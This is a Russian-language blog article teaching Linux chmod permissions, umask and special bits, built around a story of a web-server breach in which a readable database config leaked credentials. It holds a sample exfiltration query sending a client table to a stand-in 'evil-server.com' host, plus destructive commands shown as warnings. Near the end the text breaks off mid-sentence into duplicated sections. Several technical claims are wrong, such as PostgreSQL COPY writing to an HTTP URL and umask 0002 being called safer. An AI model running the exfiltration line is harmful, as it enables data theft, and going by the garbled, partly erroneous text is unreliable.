Найти в Дзене
SEBERD IT Base

N43 Понимание прав доступа в Linux: числовая система chmod

Представьте ситуацию вы приходите в офис, садитесь за рабочий компьютер, пытаетесь открыть папку с проектом, а система выдаёт сообщение: "Permission denied" (Доступ запрещён). Вы уверены, что файл существует, что путь правильный, но дверь не открывается. Что происходит? Почему компьютер не даёт вам то, что вы просите? Ответ лежит в одной из самых фундаментальных концепций Linux системе прав
Оглавление

Основы прав доступа в Linux от простого к сложному

Представьте ситуацию вы приходите в офис, садитесь за рабочий компьютер, пытаетесь открыть папку с проектом, а система выдаёт сообщение: "Permission denied" (Доступ запрещён). Вы уверены, что файл существует, что путь правильный, но дверь не открывается. Что происходит? Почему компьютер не даёт вам то, что вы просите? Ответ лежит в одной из самых фундаментальных концепций Linux системе прав доступа к файлам и директориям.

памятка:

0 — запрещено все; 
1 — разрешено выполнение; 
2 — разрешена запись; 
3 — разрешены запись и выполнение; 
4 — разрешено чтение; 
5 — разрешены чтение и выполнение; 
6 — разрешены чтение и запись; 
7 — разрешено все.

Такая система может показаться пугающей новичкам. Она полна цифр, символов, терминов. Но за этой кажущейся сложностью скрывается простая и элегантная логика, которая защищает данные уже более 50 лет. Давайте разберём её шаг за шагом, без спешки, до самых основ.

Что такое права доступа и зачем они нужны?

В Linux каждый файл и каждая директория не просто набор данных на диске. Это объект, к которому обращаются процессы (работающие программы) от имени пользователей. Права доступа правила, которые определяют, кто именно может делать с этим объектом три базовые операции:

  • Чтение (read, сокращённо r) — возможность посмотреть содержимое файла или список файлов в директории
  • Запись (write, сокращённо w) — возможность изменить файл, удалить его или создать новый в директории
  • Выполнение (execute, сокращённо x) — для файлов: возможность запустить его как программу; для директорий: возможность зайти внутрь и обращаться к файлам в ней

Без этих прав система была бы анархией. Любой пользователь мог бы удалить системные файлы, прочитать чужие пароли, остановить важные службы. Права создают границы. Они заставляют каждого участника системы чётко следовать правилам.

Три категории пользователей

Когда мы говорим "кто может получить доступ", имеем в виду не конкретных людей, а три категории:

  1. Владелец (user, u) — пользователь, который создал файл или которому владельство было передано. Обычно это тот человек, который работает с файлом. Например, разработчик Алексей создаёт файл с кодом — он становится владельцем.
  2. Группа (group, g) — группа пользователей, к которой принадлежит файл. Группы создаются для удобства управления. Например, все разработчики могут быть в группе "developers", все администраторы — в группе "admins". Если файл открыт для группы, то все члены группы получают соответствующие права.
  3. Остальные (others, o) — все остальные пользователи системы, которые не являются ни владельцем, ни членом группы файла. Это самая широкая категория, и к ней применяются самые строгие ограничения.

Важно понимать система проверяет эти категории в строгом порядке. Сначала Linux смотрит, является ли запрашивающий доступ пользователь владельцем файла.

Если да — применяются права для владельца, и дальше проверка останавливается.

Если нет — проверяется, входит ли пользователь в группу файла.

Если да — применяются права группы.

Если нет — применяются права для остальных. Это важная оптимизация: система не тратит время на лишние проверки.

Символьное представление прав и что означают буквы?

Самый простой способ посмотреть права — команда `ls -l` (list with long format). Давайте разберём её вывод на примере:

-rw-r--r-- 1 alexey webapps 2048 Jan 6 14:30 report.txt

drwxr-xr-x 3 alexey webapps 4096 Jan 6 14:30 projects

Первый символ в строке показывает тип объекта:

`-` (дефис) означает обычный файл

`d` означает директорию

`l` означает символическую ссылку (ярлык на файл)

Следующие девять символов разбиваются на три группы по три символа:

1. Права владельца (первые три символа) - `rw-` владелец alexey может читать и писать, но не может выполнять как программу

2. Права группы (следующие три символа) - `r--` члены группы webapps могут только читать

3. Права остальных (последние три символа) - `r--` все остальные пользователи системы могут только читать

Теперь про директорию `projects`:

- `rwx` владелец может читать, писать и заходить в папку

- `r-x` группа может читать и заходить

- `r-x` остальные могут читать и заходить

Для директорий право на выполнение (x) означает возможность использовать команду `cd` для перехода в эту директорию и работать с файлами внутри. Без этого права даже если у вас есть право на чтение (r), вы не сможете посмотреть список файлов — система не пустит вас внутрь.

Числовое представление: от букв к цифрам

Символьный формат понятен человеку, но неудобен для быстрой работы. Гораздо проще говорить "шесть-четыре-четыре" вместо "минус эр-даблю-тире эр-тире-тире эр-тире-тире". Поэтому в Linux существует числовой формат, который использует одну цифру для каждой категории пользователей.

Правило перевода букв в цифры:

- Только чтение (r) = 4

- Только запись (w) = 2

- Только выполнение (x) = 1

Если нужно дать несколько прав, складываем соответствующие числа:

- Чтение + запись = 4 + 2 = 6

- Чтение + выполнение = 4 + 1 = 5

- Запись + выполнение = 2 + 1 = 3

- Все права = 4 + 2 + 1 = 7

- Ничего = 0

Таким образом, любое сочетание прав можно выразить одной цифрой от 0 до 7.

Давайте практикуем перевод:

- `rwxr-xr-x` = владелец rwx (7), группа r-x (5), остальные r-x (5) = 755

- `rw-r--r--` = владелец rw- (6), группа r-- (4), остальные r-- (4) = 644

- `rwx------` = владелец rwx (7), группа --- (0), остальные --- (0) = 700

- `rw-rw-r--` = владелец rw- (6), группа rw- (6), остальные r-- (4) = 664

Теперь давайте разберём самые частые комбинации, которые вы будете встречать в реальной работе.

Числовые права практические примеры

chmod 600 secret.txt только для владельца

Первая цифра 6 = владелец может читать и писать

Вторая цифра 0 = группа ничего не может

Третья цифра 0 = остальные ничего не могут

Это идеальные права для файлов с паролями, приватными SSH-ключами, конфиденциальными документами. Никто, кроме вас, не сможет даже посмотреть содержимое.

chmod 640 config.yml владелец и группа

Первая цифра 6 = владелец читает и пишет

Вторая цифра 4 = группа только читает

Третья цифра 0 = остальные закрыты

Это права для конфигурационных файлов серверов. Владелец (администратор) может изменять настройки. Группа (сервисы вроде веб-сервера) может читать конфиг. Остальные пользователи не имеют доступа.

chmod 644 document.pdf для публичных файлов

Первая цифра 6 = владелец читает и пишет

Вторая цифра 4 = группа читает

Третья цифра 4 = остальные читают

Подходит для документов, статических веб-страниц, файлов, которые нужно читать многим, но изменять — только владельцу.

chmod 700 private_dir личная папка

Первая цифра 7 = владелец может всё

Вторая цифра 0 = группа закрыта

Третья цифра 0 = остальные закрыты

Владелец может заходить в папку, создавать файлы, читать их. Никто больше даже не увидит, что внутри.

chmod 755 script.sh исполняемый скрипт

Первая цифра 7 = владелец читает, пишет и выполняет

Вторая цифра 5 = группа читает и выполняет

Третья цифра 5 = остальные читают и выполняют

Это стандартные права для программ и скриптов. Владелец может изменять код. Все могут запускать, но только владелец может вносить изменения.

chmod 750 project_dir` — рабочая папка команды

Первая цифра 7 = владелец всё

Вторая цифра 5 = группа читает и выполняет

Третья цифра 0 = остальные закрыты

Права для папки проекта только члены команды могут работать с файлами. Остальные пользователи системы не видят содержимое.

Как изменять права команда chmod

Команда chmod (change mode) инструмент для установки прав доступа.

Её базовый синтаксис: bash

chmod НАБОР_ПРАВ ФАЙЛ_ИЛИ_ПАПКА

Набор прав можно задавать несколькими способами:

1. Числовой формат (самый популярный) bash

chmod 600 my_password.txt

chmod 755 deploy.sh

chmod 644 index.html

2. Символьный формат (более гибкий)

Вместо цифр можно использовать буквы и символы:

- `u` = владелец (user)

- `g` = группа (group)

- `o` = остальные (others)

- `a` = все (all)

- `+` = добавить право

- `-` = убрать право

- `=` = установить точное право

Примеры: bash

chmod u+x script.sh   # Добавить право на выполнение владельцу

chmod g-w config.txt   # Убрать право на запись у группы

chmod o=r-- secret.log  # Оставить только чтение для остальных

chmod a+rwx public_dir  # Дать полные права всем (опасно!)

chmod u=rwx,g=rx,o=r file # Владелец: rwx, группа: rx, остальные: r

3. Рекурсивное изменение для папок

Если нужно изменить права для папки и всего её содержимого, используется флаг `-R` (recursive): bash

chmod -R 755 /var/www/html

Команда установит права 755 для самой папки html и для каждого файла и подпапки внутри.

Права для файлов и для директорий работают по-разному, и это часто вызывает путаницу.

Право на чтение (r) для директории

Даёт возможность посмотреть список файлов в папке командой `ls`. Но без права на выполнение вы не сможете войти в папку и работать с файлами внутри.

Право на запись (w) для директории

Даёт возможность создавать новые файлы, удалять файлы, переименовывать файлы. Важно: чтобы удалить файл, нужно право на запись именно в директории, а не на сам файл! Это частая ошибка: люди думают, что если у файла нет права на запись, его нельзя удалить. На самом деле, если у папки есть право на запись, любой может удалить любой файл внутри, даже если он ему не принадлежит.

Право на выполнение (x) для директории

Это самое важное право для папки. Оно даёт возможность:

  • Зайти в папку командой `cd`
  • Обратиться к файлу внутри папки по полному пути
  • Выполнить программу внутри папки

Без права x даже если у вас есть право r (чтение), вы не сможете посмотреть содержимое. Без x вы не сможете работать с файлами внутри, даже если знаете их точные имена.

Пример сложной ситуации:

drwxrwxrwx 2 user group 4096 Jan 6 15:00 test
-r-------- 1 user group  0 Jan 6 15:00 test/secret.txt

Папка test имеет права 777 (всем всё можно). Файл secret.txt имеет права 400 (только владелец может читать). Но любой пользователь может удалить secret.txt, потому что у папки test есть право на запись! Чтобы защитить файл от удаления, нужно запретить запись в папку, или использовать специальный sticky bit.

Как посмотреть текущие права и владельца

Для начала работы с правами нужно уметь их проверять. Основные команды:

`ls -l ФАЙЛ` — подробная информация о файле

$ ls -l report.txt
-rw-r--r-- 1 alexey webapps 2048 Jan 6 14:30 report.txt

Здесь видно права, количество ссылок, владелец (alexey), группа (webapps), размер, дата и имя.

ls -ld ПАПКА — информация о самой папке, а не её содержимом

bash

ls -ld /var/www

stat ФАЙЛ — полная информация в машиночитаемом формате

$ stat private.key
 File: private.key
 Size: 1679      Blocks: 8     IO Block: 4096  regular file
Device: 801h/2049d   Inode: 131072   Links: 1
Access: (0600/-rw-------) Uid: ( 1000/ alexey)  Gid: ( 1001/ webapps)

Обратите внимание на строку Access: (0600/-rw-------). Здесь показаны и цифры (0600), и буквы (-rw-------). Это самый точный способ узнать права.

`id` — узнать свои ID и группы

$ id
uid=1000(alexey) gid=1001(webapps) groups=1001(webapps),27(sudo),1002(docker)

`id ПОЛЬЗОВАТЕЛЬ` — узнать ID другого пользователя

$ id www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(webapps)

Права на создание новых файлов: umask

Когда вы создаёте новый файл или папку, система автоматически назначает им права. Но откуда она знает, какие именно? Это определяет команда `umask` (user file-creation mode mask).

Принцип работы umask:

  • Для обычных файлов система использует базовые права 666 (чтение и запись для всех)
  • Для директорий используется базовые права 777 (полный доступ для всех)
  • Значение umask вычитается из этих базовых прав

Практические примеры umask:

Стандартный umask 0022:

  • Файл: 666 - 022 = 644 (rw-r--r--)
  • Папка: 777 - 022 = 755 (rwxr-xr-x)

Более безопасный umask 0002:

  • Файл: 666 - 002 = 664 (rw-rw-r--)
  • Папка: 777 - 002 = 775 (rwxrwxr-x)

Самый строгий umask 0077:

  • Файл: 666 - 077 = 600 (rw-------)
  • Папка: 777 - 077 = 700 (rwx------)

Как узнать текущий umask: bash

umask
# Вывод: 0022

Как временно изменить umask: bash

umask 0077
touch new_file
ls -l new_file
# -rw------- 1 alexey alexey 0 Jan 6 16:00 new_file

Как постоянно изменить umask:

Добавьте команду в файл `~/.bashrc` или `~/.profile`: bash

echo "umask 0077" >> ~/.bashrc

Важная настройка для администраторов, работающих с секретными данными.

Рекурсивные изменения и опасности

Флаг `-R` в команде `chmod` очень мощный, но опасный. Он применяет права ко всем файлам и подпапкам.

Пример правильного использования: bash

chmod -R 755 /var/www/html

Опасный пример, который может сломать систему: bash

chmod -R 777 /    # НИКОГДА НЕ ДЕЛАЙТЕ ЭТОГО!
chmod -R 644 /etc   # Тоже сломает систему

Проблема в том, что многие системные файлы требуют специальных прав. Если вы дадите 644 всем файлам в `/etc`, вы можете запретить выполнение важным скриптам, и система не загрузится.

Как безопасно изменить права для множества файлов:

Если нужно дать права только файлам, но не папкам, используйте `find` вместе с `chmod`: bash

# Найти все обычные файлы в /var/www и дать им 644
find /var/www -type f -exec chmod 644 {} \;

# Найти все директории в /var/www и дать им 755
find /var/www -type d -exec chmod 755 {} \;

Стоит ли использовать символьный формат chmod?

Хотя числовой формат chmod 640 популярнее, символьный формат имеет свои преимущества:

Гибкость при изменении одного параметра: bash

chmod g+w file   # Добавить запись группе, не трогая остальное
chmod u-x script  # Убрать выполнение у владельца
chmod o= file    # Убрать все права у остальных

Работа с масками: bash

chmod u=rwx,g=rx,o=r file # Аналог 754, но более читаемо

Однако числовой формат точнее и менее подвержен ошибкам. Он сразу показывает все три категории. Поэтому в скриптах и автоматизации используется числовой формат.

Групповая политика как создавать и управлять группами

Чтобы эффективно использовать права группы, нужно уметь управлять группами.

Создать новую группу: bash

sudo groupadd developers

Добавить пользователя в группу: bash

sudo usermod -a -G developers alexey

Проверить, в каких группах состоит пользователь: bash

groups alexey
# alexey : alexey sudo developers

Изменить группу файла: bash

chgrp developers project_code.py

Изменить и владельца, и группу: bash

chown alexey:developers project_code.py

После добавления пользователя в группу ему нужно перелогиниться или использовать команду `newgrp`, чтобы изменения вступили в силу.

Какие права выставлять по умолчанию рекомендации

Вот таблица рекомендуемых прав для различных сценариев:

Сценарий Файлы Директории Объяснение

Личные документы 600 700 Только владелец имеет доступ

Конфиги сервисов 640 750 Владелец и группа сервиса

Публичные файлы сайта 644 755 Все могут читать

Исполняемые скрипты 755 - Все могут запускать

Временные файлы 600 - Только создатель может читать

Рабочая папка проекта 664 775 Владелец и группа могут всё, остальные читают

Как не ошибиться проверка перед изменением

Перед тем как менять права на важных файлах, всегда проверяйте текущие значения и делайте резервную копию.

Создайте резервную копию прав: bash

getfacl -R /var/www > permissions_backup.txt

Восстановить права из резервной копии: bash

setfacl --restore=permissions_backup.txt

Или проще: скопируйте файл перед изменением: bash

cp important.conf important.conf.backup
chmod 600 important.conf
# Если что-то пошло не так
cp important.conf.backup important.conf
-2

Когда теория встречается с реальностью или история Алексея и продвинутые права

Мы разобрались с основами: что такое владелец, группа и остальные; что значат чтение, запись и выполнение; как цифры 0-7 превращаются в права доступа. Теперь давайте посмотрим, как эти знания работают в реальной жизни, когда ошибка в настройке прав стоит компании 47 тысяч украденных записей клиентов.

Глубокой ночью, когда телефон не умолкает ваш телефон заливается сообщениями. Клиенты жалуются, что сайт не работает. Мониторинг показывает, что база данных отвечает странными запросами. Вы открываете ноутбук, вводите пароль и видите в логах слово, от которого хочется выпить кофе, которого нет: "RCE".

Что такое RCE и почему это страшно?

RCE сокращение от Remote Code Execution (удалённое выполнение кода). Злоумышленник сумел заставить ваш сервер выполнить его собственный код. Как? Через форму обратной связи, где люди могут прикреплять файлы. В устаревшей библиотеке для загрузки файлов была дыра: сервер не проверял, что загружается настоящее изображение, а не PHP-скрипт в disguise (маскировке). Злоумышленник загрузил файл с названием `photo.php.jpg`. Сервер сохранил его, дал имя `photo.php`, а потом, когда к нему обратились, попытался выполнить как программу. И это сработало.

Кто такой www-data и почему он важен?

В Linux есть специальный пользователь `www-data`. Это не человек, а системная учётная запись, от имени которой работает веб-сервер (Apache, Nginx или PHP-FPM). Когда вы открываете сайт в браузере, сервер читает файлы и выполняет скрипты именно от лица этого пользователя. У www-data есть свои права, свои ограничения. Он может читать файлы сайта, но не может читать личные папки пользователей. Это защита: если взломают сайт, взломщик получит права именно www-data, а не root-администратора.

В той ночи злоумышленник получил доступ именно через www-data. Его код выполнялся с правами этого пользователя. И это означает: он мог делать всё, что может www-data. Читать файлы конфигурации, которые читает сервер. Подключаться к базе данных, к которой подключается сервер. Записывать файлы в папки, куда сервер имеет доступ.

Проникновение как украли пароль от базы данных

Алексей нашёл в логах, что в 1:19 злоумышленник сделал простой запрос: прочитал файл `/var/www/app/config/database.yml`. Это обычный текстовый файл, который выглядит примерно так: yaml

database:
 host: localhost
 port: 5432
 username: app_user
 password: 'SuperSecretPass123!'
 dbname: client_database

Этот файл нужен веб-приложению, чтобы подключиться к PostgreSQL системе управления базами данных, где хранятся все клиентские данные. Обычно этот файл имеет строгие права. Но в той ночи он имел права 644.

Что это значит в контексте атаки:

  • Владелец файла (alexey) мог читать и изменять пароль
  • Группа (webapps) могла читать файл
  • Все остальные могли читать файл

Пользователь www-data, от имени которого работал взломщик, входил в группу webapps. Поэтому он смог просто открыть файл и прочитать пароль. А потом подключиться к базе данных напрямую, минуя веб-приложение, и выполнить запрос: скопировать всю таблицу клиентов на удалённый сервер.

Первые действия Алексея: когда правильное решение ломает систему

Алексей понял проблему за три минуты. Логика была проста: если доступ через группу стал дырой, закроем группу. Он ввёл команду: bash

chmod 600 /var/www/app/config/database.yml

Файл мгновенно изменился на `-rw-------`. Никто, кроме владельца alexey, не мог его прочитать. Атакующий потерял доступ к паролю. Казалось бы, проблема решена. Но через секунду мониторинг закричал красным: сайт упал.

Почему? Веб-сервер www-data попытался прочитать database.yml, чтобы подключиться к базе и показать пользователям страницы. Но система проверила:

  1. www-data — это не alexey (не владелец) → не подошло
  2. www-data в группе webapps, но группе теперь ничего нельзя (цифра 0) → не подошло
  3. Остальным тоже ничего нельзя (цифра 0) → доступ запрещён

Сайт не мог работать без доступа к базе. Алексей быстро понял: нужен баланс между безопасностью и работоспособностью.

Правильное исправление работа с группой

Решение оказалось двухступенчатым. Сначала Алексей убедился, что файл принадлежит правильной группе. Команда `chgrp` (сокращение от change group) изменяет группу-владельца файла: bash

chgrp webapps /var/www/app/config/database.yml

Теперь файл принадлежал группе webapps. Владелец всё ещё alexey, но группа — это те самые пользователи, которые должны иметь доступ (включая www-data).

Затем он установил права 640: bash

chmod 640 /var/www/app/config/database.yml

Что получилось:

  • Первая цифра 6: владелец alexey может читать и писать (4+2)
  • Вторая цифра 4: группа webapps может читать (4)
  • Третья цифра 0: все остальные пользователи не могут ничего

Теперь www-data мог читать файл через группу, а посторонние пользователи (включая возможного злоумышленника, если он создаст аккаунт в системе) — нет. Сайт заработал, риск снижен.

То же самое сделали с файлом secret.key, где хранились API-токены для внешних сервисов.

Проблема с директорией uploads почему стандартные права опасны

После фикса конфигов Алексей посмотрел на папку, куда пользователи загружают файлы. Команда ls -ld /var/www/app/uploads показала:

drwxr-xr-x 2 www-data www-data 4096 Jan 02 01:34 uploads

Это 755 в цифрах. Владелец www-data может всё. Группа и остальные могут читать и заходить. На первый взгляд, всё логично: серверу нужно создавать файлы, а пользователям — смотреть загруженные картинки.

Но Алексей понял: атакующий уже был внутри. Он загрузил shell.php и запустил его. Этот скрипт выполнялся с правами www-data — то есть с правами владельца папки. Значит, он мог:

  • Удалить любой файл в uploads
  • Перезаписать существующие файлы
  • Создать новые файлы с вредоносным кодом
  • Даже удалить легитимные загрузки пользователей

Это было равносильно тому, чтобы дать злоумышленнику ключ от комнаты, где хранятся все документы. Он может не только читать, но и подменять, уничтожать.

Правильная конфигурация uploads sticky bit и смена владельца

Алексей знал: загрузки должны создаваться сервером, но контролироваться администратором. Он сделал два шага:

Шаг 1: Смена владельца bash

chown alexey:webapps /var/www/app/uploads

Теперь владелец папки alexey (администратор), группа — webapps (в которую входит www-data). Это означает, что alexey может делать всё, а группа — читать, писать и заходить.

Шаг 2: Установка sticky bit и прав 1775 bash

chmod 1775 /var/www/app/uploads

Результат: `drwxrwxr-t 2 alexey webapps 4096 Jan 02 06:45 uploads`

Разберём это по частям:

  • 1 в начале — это sticky bit (специальный бит, который мы детально разберём ниже)
  • 7 для владельца alexey: 4+2+1 = читать, писать, заходить (полный контроль)
  • 7 для группы webapps: 4+2+1 = читать, писать, заходить (создавать файлы)
  • 5 для остальных: 4+1 = читать и заходить (смотреть список файлом)

Sticky bit (цифра 1 в начале) ключевая защита. Он говорит системе: "В этой папке пользователи могут удалять только свои собственные файлы". Даже если группа webapps может писать в папку, член группы не может удалить файл, который создал кто-то другой из этой же группы.

Теперь www-data может создавать загрузки (пользователи загружают файлы), но не может удалить файл, который там уже лежит, если он ему не принадлежит. Атакующий, даже получив доступ через RCE, не сможет подменить существующие файлы или стереть улики.

Umask в действии как не допустить новых ошибок

Алексей понял однажды он может забыть выставить права вручную. Или другой разработчик создаст новый файл с паролями и по ошибке оставит его открытым. Чтобы предотвратить это, нужно настроить umask.

Что случилось до инцидента?

На сервере стоял стандартный umask 0022. Когда кто-то создавал новый файл с паролями через команду `echo "password123" > new_secret.txt`, этот файл получал права 644. То есть, группа могла его читать. А группа — это www-data и другие пользователи. Дыра создавалась автоматически каждый раз.

Решение Алексея забыть про 644 навсегда

Он изменил umask на 0077. Теперь в своём профиле (`~/.bashrc`) добавил строку: bash

umask 0077

Что это даёт:

  • Новый файл: 666 - 077 = 600 (только владелец)
  • Новая директория: 777 - 077 = 700 (только владелец)

Теперь, если кто-то случайно создаст файл с паролем, он будет закрыт по умолчанию. Чтобы дать доступ серверу, придётся явно подумать и выставить 640 вручную.

Но Алексей пошёл дальше. Он настроил umask не только для себя, но и для всех процессов веб-сервера. В конфигурации PHP-FPM добавил строку:

ini
php_admin_value[umask] = 0022

Это означает: скрипты PHP (включая возможные вредоносные) создают файлы с правами 644, а не 600. Это немного снижает безопасность, но гарантирует, что легитимные загрузки пользователей будут доступны для чтения.

Специальные биты SUID, SGID, sticky bit

Кроме обычных прав существуют три специальных бита, которые меняют стандартное поведение. Они добавляются в начале числового представления и часто являются источником уязвимостей, если настроены неправильно.

Sticky Bit (цифра 1)

Мы уже видели его в примере с uploads. Это бит, который можно установить только на директорию. Он говорит: "Вы можете удалять только свои файлы". Типичный пример — системная папка `/tmp`, где все могут создавать временные файлы, но не могут трогать чужие.

Установить sticky bit: bash

chmod 1777 /tmp
# или символьно:
chmod +t /tmp

Посмотреть его можно по букве `t` в правом нижнем углу:

drwxrwxrwt 15 root root 4096 /tmp

Если бит t установлен, но у остальных нет права на выполнение, он показывается как заглавная T:

drwxrwxrwT 2 user group 4096 /some/dir

SGID (Set Group ID, цифра 2)

SGID для директории означает: "Все новые файлы в этой папке автоматически получают группу этой папки, а не группу создателя". Это полезно для совместных проектов.

Пример: bash

mkdir /projects/team_site
chgrp developers /projects/team_site
chmod 2775 /projects/team_site

Теперь любой файл, созданный любым участником группы developers в этой папке, автоматически будет принадлежать группе developers. Все смогут его редактировать.

Для обычных файлов SGID работает иначе: если файл имеет SGID и является исполняемым, он запускается от имени группы-владельца файла, а не группы запустившего пользователя.

SUID (Set User ID, цифра 4)

SUID самый мощный и опасный бит. Если он установлен на исполняемый файл, программа запускается от имени владельца файла, а не от имени того, кто её запустил.

Классический пример команда `passwd`, которая позволяет обычным пользователям менять свои пароли. Пароль хранится в файле `/etc/shadow`, доступ к которому имеет только root. Но пользователь может запустить `passwd`:

-rwsr-xr-x 1 root root 68208 /usr/bin/passwd

Буква `s` вместо `x` у владельца показывает включённый SUID. Когда alexey запускает `passwd`, программа выполняется с правами root и может записать новый пароль в `/etc/shadow`.

Опасность SUID:

Алексей проверил, не оставил ли взломщик ловушку: bash

find /var/www/app -perm /4000 -ls

Если бы злоумышленник успел создать файл с SUID, он мог бы получить постоянный доступ к root-правам. К счастью, на этот раз этого не произошло.

Как это выглядит в выводе stat

Чтобы точно увидеть все права, включая специальные биты, используйте команду `stat`: bash

$ stat -c "%a %U:%G %n" /var/www/app/uploads/
1775 alexey:webapps uploads/

Здесь:

  • `%a` — числовые права (включая sticky bit)
  • `%U:%G` — владелец и группа
  • `%n` — имя файла

Это лучший способ для скриптов, которые проверяют безопасность.

Автоматическая проверка прав скрипт Алексея

Алексей не хотел повторения инцидента. Он написал простой скрипт, который проверяет критичные права каждый час через cron: bash

#!/bin/bash
# /opt/security/check_permissions.sh

ERRORS=0

check_permissions() {

 local file=$1

 local expected=$2

 local description=$3

 local actual=$(stat -c "%a" "$file")

  

 if [ "$actual" != "$expected" ]; then

  echo "[ОШИБКА] $description"

  echo " Файл: $file"

  echo " Текущие права: $actual"

  echo " Ожидается: $expected"

  ERRORS=$((ERRORS + 1))

 fi

}

# Проверяем критичные файлы

check_permissions "/var/www/app/config/database.yml" "640" "Конфиг базы данных"

check_permissions "/var/www/app/config/secret.key" "640" "API ключи"

check_permissions "/var/www/app/uploads" "1775" "Директория загрузок"

# Если есть ошибки, отправляем письмо

if [ $ERRORS -gt 0 ]; then

 echo "Найдено $ERRORS нарушений прав доступа!" | mail -s "Security Alert" admin@company.com

 exit 1

fi

exit 0

Этот скрипт теперь работает по cron и сразу сообщает, если кто-то случайно или намеренно поменяет права на опасные значения.

Что такое PostgreSQL и почему она важна

PostgreSQL система управления базами данных (СУБД). Она хранит все данные в виде таблиц. Когда вы регистрируетесь на сайте, ваш логин, пароль (хэш), email записываются в таблицу users. Когда вы делаете заказ, информация идёт в таблицу orders. PostgreSQL управляет этими данными, защищает их и предоставляет доступ.

Для подключения к PostgreSQL нужны:

  • Хост (где находится сервер базы, обычно localhost)
  • Порт (стандартный 5432)
  • Имя пользователя базы (не системный пользователь Linux, а внутренний пользователь PostgreSQL)
  • Пароль
  • Имя базы данных

Все эти данные хранились в файле database.yml. Получив их, злоумышленник смог напрямую подключиться к PostgreSQL. Он не проходил через веб-приложение и его ограничения. Он выполнил SQL-запрос: sql

COPY clients TO 'http://evil-server.com/steal.php';

И все 47 тысяч записей ушли на чужой сервер.

PostgreSQL и права доступа важное отличие

Важно понимать права доступа к файлам Linux и права доступа в PostgreSQL два разных уровня безопасности. Даже если бы файл database.yml имел права 600, а атакующий не смог его прочитать, SQL-инъекция через само веб-приложение всё равно могла бы дать доступ к данным. Но в той атаке использовался самый простой путь: прочитать файл и подключиться напрямую.

Как защитить базу данных в будущем

Алексей понял нужно защищать не только файлы, но и саму базу. Он сделал несколько изменений:

1. Сменил пароль PostgreSQL

bash

sudo -u postgres psql -c "ALTER USER app_user WITH PASSWORD 'NewSuperSecretPass2024!';"

2. Ограничил доступ по IP

В файле `pg_hba.conf` (конфиг доступа PostgreSQL) добавил:

host app_db app_user 127.0.0.1/32 md5
host app_db app_user ::1/128 md5

Теперь подключаться можно только с локального сервера, не из внешней сети.

3. Убрал доступ superuser

У приложения не должно быть прав администратора базы. Только SELECT, INSERT, UPDATE, DELETE. Ни DROP TABLE, ни COPY TO. Это ограничение вшито в конфигурацию подключения.

4. Включил аудит

В PostgreSQL можно включить логирование всех запросов: sql

ALTER SYSTEM SET log_statement = 'all';
SELECT pg_reload_conf();

Теперь любой подозрительный запрос сразу попадёт в лог.

Как проверить, что файл действительно защищён

После всех изменений Алексей проверил результат командой `ls -l`. Но это показывает только основные права. Чтобы увидеть всю картину, включая специальные биты, скрытые атрибуты и контекст SELinux, нужна команда `stat`: bash

$ stat /var/www/app/config/database.yml
 File: /var/www/app/config/database.yml
 Size: 248       Blocks: 8     IO Block: 4096  regular file
Device: 801h/2049d   Inode: 131072   Links: 1
Access: (0640/-rw-r-----) Uid: ( 1000/ alexey)  Gid: ( 1001/ webapps)
Access: 2024-01-02 01:17:23.123456789 +0300
Modify: 2024-01-02 06:45:10.987654321 +0300
Change: 2024-01-02 06:45:10.987654321 +0300
 Birth: -

Здесь важные строки:

  • Access: (0640/-rw-r-----) — права в цифрах и буквах
  • Uid: ( 1000/ alexey) — владелец (User ID)
  • Gid: ( 1001/ webapps) — группа (Group ID)

Если бы здесь было 0644 или 0666, это означало бы, что защита не работает.

SELinux и AppArmor когда прав недостаточно

Алексей знал, что даже правильные права файлов это не всё. В современных Linux есть дополнительные системы безопасности: SELinux (Security-Enhanced Linux) и AppArmor. Они создают ещё один уровень защиты, не зависящий от прав.

Что делает SELinux?

SELinux помечает каждый процесс и каждый файл специальной меткой контекстом. Даже если файл имеет права 640, SELinux может запретить процессу www-data его читать, если контекст не совпадает.

Проверить статус SELinux: bash

getenforce
# Вывод может быть:
# Enforcing — включён и блокирует нарушения
# Permissive — включён, но только предупреждает
# Disabled — выключен

На сервере Алексея SELinux был отключён. Он включил его: bash

sudo setenforce 1

Затем настроил политики, чтобы www-data мог читать только нужные конфиги, но не мог читать домашние папки пользователей.

Что делает AppArmor?

AppArmor альтернатива SELinux, проще в настройке. Она описывает, что конкретный процесс может делать: какие файлы читать, куда писать, какие сетевые порты открывать.

Проверить статус AppArmor: bash

sudo aa-status

Резервное копирование прав доступа

Перед массовыми изменениями Алексей сделал резервную копию всех прав. Это позволило бы восстановить всё, если postgres psql -c "ALTER USER app_user WITH PASSWORD 'NewSuperSecretPass2027!';"

Ограничил доступ по IP

В файле `pg_hba.conf` (конфиг доступа PostgreSQL) добавил:

host app_db app_user 127.0.0.1/32 md5
host app_db app_user ::1/128 md5

Теперь подключаться можно только с локального сервера, не из внешней сети.

Убрал доступ superuser

У приложения не должно быть прав администратора базы. Только SELECT, INSERT, UPDATE, DELETE. Ни DROP TABLE, ни COPY TO. Это ограничение вшито в конфигурацию подключения.

Включил аудит

В PostgreSQL можно включить логирование всех запросов: sql

ALTER SYSTEM SET log_statement = 'all';
SELECT pg_reload_conf();

Теперь любой подозрительный запрос сразу попадёт в лог.

Как проверить, что файл действительно защищён

После всех изменений Алексей проверил результат командой `ls -l`. Но это показывает только основные права. Чтобы увидеть всю картину, включая специальные биты, скрытые атрибуты и контекст SELinux, нужна команда `stat`: bash

$ stat /var/www/app/config/database.yml
 File: /var/www/app/config/database.yml
 Size: 248       Blocks: 8     IO Block: 4096  regular file
Device: 801h/2049d   Inode: 131072   Links: 1
Access: (0640/-rw-r-----) Uid: ( 1000/ alexey)  Gid: ( 1001/ webapps)
Access: 2024-01-02 01:17:23.123456789 +0300
Modify: 2024-01-02 06:45:10.987654321 +0300
Change: 2024-01-02 06:45:10.987654321 +0300
 Birth: -

Здесь важные строки:

  • Access: (0640/-rw-r-----) — права в цифрах и буквах
  • Uid: ( 1000/ alexey) — владелец (User ID)
  • Gid: ( 1001/ webapps) — группа (Group ID)

Если бы здесь было 0644 или 0666, это означало бы, что защита не работает.

Резервное копирование прав доступа

Перед массовыми изменениями Алексей сделал резервную копию всех прав. Это позволило бы восстановить всё, если что-то пошло бы не так:

Сохранить права: bash

getfacl -R /var/www > /backup/www_permissions_backup.txt

Восстановить права: bash

setfacl --restore=/backup/www_permissions_backup.txt

Это особенно важно на production-серверах, где ошибка может стоить дорого.

Что такое cron и почему важно проверять задачи

